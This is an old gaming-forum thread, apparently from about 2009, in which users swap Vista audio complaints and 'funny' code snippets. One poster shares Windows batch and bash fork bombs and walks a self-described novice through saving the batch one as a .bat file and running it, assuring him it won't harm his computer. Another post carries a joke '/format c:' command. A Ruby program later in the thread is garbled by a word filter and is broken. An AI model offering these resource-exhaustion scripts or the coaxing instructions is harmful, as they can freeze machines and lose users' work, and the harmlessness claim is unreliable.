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Gay Thread about computer stuff I don't understand

Robok

Avatar: 97222 2010-01-07 13:42:28 -0500
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[The old goats have-
the stiffest horns
]

Level 40 Troll

I LOVE FALCON!

TUBSWEETIE and DarkDespair5’s own thread of writing confusing computer stuff in. You others can of course join too.

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DarkDespair5 Posted:

TUBSWEETIE Posted:

fixed. In the sense that you’ll get no hardware effects and be limited to 2 channel output.

There’s a free hacked version of creative’s ALchemy software that patches dsound games to run off OpenAL, though. That usually fixes games for me.

that is my biggest beef. Audio is ruined in vista. who the **** thinks it’s a good idea to put load back onto the CPU when most avid enthusiasts have dedicates sound cards?!

lol threadjacked

yeah

Also 16bit/8bit apps hosed.

Also protected media pipeline that cripples high def outputs and checks for hacking attempts constantly, which by the way uses encryption abominably slow for realtime apps like video/audio.

DarkDespair5 edited this message on 12/29/2008 5:12PM

Discuss!

Robok edited this message on 12/29/2008 5:20PM

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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

lmfao


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MOCK-CONGLER

Avatar: 50390 Tue May 26 17:55:44 -0400 2009
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Level 35 Troll

AHAHAHAHAHAHAH AHAHAHAHHAHAHA HAHAHAHAHAHAHA HAHAHAHAHAHAHA HAHAHAHAHAHAHA HAHAHAHAHAHAHA AHHAAHAHAHAHAH

/format c:

20 goto 10

run


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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

:s

start %0

%0|%0

goto :s


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Physics

Avatar: 83756 2009-10-01 09:57:31 -0400
19

[Phantasmagoric Spl-
endor
]

Level 69 Hacker

Making laws and snuggling dark matter.


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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

in linux,

bash into

:(){ :|:& };:

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Robok

Avatar: 97222 2010-01-07 13:42:28 -0500
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[The old goats have-
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Level 40 Troll

I LOVE FALCON!

Nope, don’t understand anything posted here yet.

But keep the discussion going.


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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

Robok

open notepad

save

:s

start %0

%0|%0

goto :s

as a .bat file

double click it

(it wont destroy ur comp, its just funny)


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Physics

Avatar: 83756 2009-10-01 09:57:31 -0400
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[Phantasmagoric Spl-
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Level 69 Hacker

Making laws and snuggling dark matter.

bat scripts are teh gay


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Robok

Avatar: 97222 2010-01-07 13:42:28 -0500
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[The old goats have-
the stiffest horns
]

Level 40 Troll

I LOVE FALCON!

DarkDespair5 Posted:

Robok

open notepad

save

:s

start %0

%0|%0

goto :s

as a .bat file

double click it

(it wont destroy ur comp, its just funny)

Funny, Funny.

IDK how to open notepad, I don’t understand that program.


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Physics

Avatar: 83756 2009-10-01 09:57:31 -0400
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[Phantasmagoric Spl-
endor
]

Level 69 Hacker

Making laws and snuggling dark matter.

perman00b thread tbh


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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

Start->run

notepad

enter

type that code in

file->save as

save as type->all files

file name-> lolz.bat

save

dbl click file


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Tesfan

Avatar: 17396 2011-07-31 06:49:56 -0400
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[Team Shortbus]

Level 35 Troll

Sucks **** through a straw in the face of convention

clbum Integer # The bottles
  def drink; self - 1; end
end

clbum << song = nil
  attr_accessor :wall

  def bottles
    (@bottles.zero? ? "no more" : @bottles).to_s <<
      " bottle" << ("s" unless @bottles == 1).to_s
  end
  
  def of(bottles)
    @bottles = bottles
    (clbum << self; self; end).module_eval do
      define_method(:buy) { bottles }
    end
    self
  end
  
  def sing(&step)
    puts "#{bottles.capitalize} of beer on the wall, #{bottles} of beer."
    if @bottles.zero?
      print "Go to the store buy some more, "
      step = method :buy
    else
      print "Take one down and pbum it around, "
    end
    @bottles = step[@bottles]
    puts "#{bottles} of beer on the wall."
    puts "" or wall.call unless step.kind_of? Method
  end

end

callcc { |song.wall| song.of(99) }.sing { |beer| beer.drink }

http://www.99-bottles-of-beer.net/


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Robok

Avatar: 97222 2010-01-07 13:42:28 -0500
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[The old goats have-
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I LOVE FALCON!

That is more my computer thing!


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Physics

Avatar: 83756 2009-10-01 09:57:31 -0400
19

[Phantasmagoric Spl-
endor
]

Level 69 Hacker

Making laws and snuggling dark matter.

Tesfan Posted:

clbum Integer # The bottles
  def drink; self - 1; end
end

clbum << song = nil
  attr_accessor :wall

  def bottles
    (@bottles.zero? ? "no more" : @bottles).to_s <<
      " bottle" << ("s" unless @bottles == 1).to_s
  end
  
  def of(bottles)
    @bottles = bottles
    (clbum << self; self; end).module_eval do
      define_method(:buy) { bottles }
    end
    self
  end
  
  def sing(&step)
    puts "#{bottles.capitalize} of beer on the wall, #{bottles} of beer."
    if @bottles.zero?
      print "Go to the store buy some more, "
      step = method :buy
    else
      print "Take one down and pbum it around, "
    end
    @bottles = step[@bottles]
    puts "#{bottles} of beer on the wall."
    puts "" or wall.call unless step.kind_of? Method
  end

end

callcc { |song.wall| song.of(99) }.sing { |beer| beer.drink }

http://www.99-bottles-of-beer.net/

on the other hand, ruby is awesome.


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DarkDespair5

Avatar: 77864 Thu Jun 04 08:28:46 -0400 2009

Level 56 Hacker

“Logic Bomber”

Yeah, batch isn’t even a language in the better sense

It’s just funny you can do that


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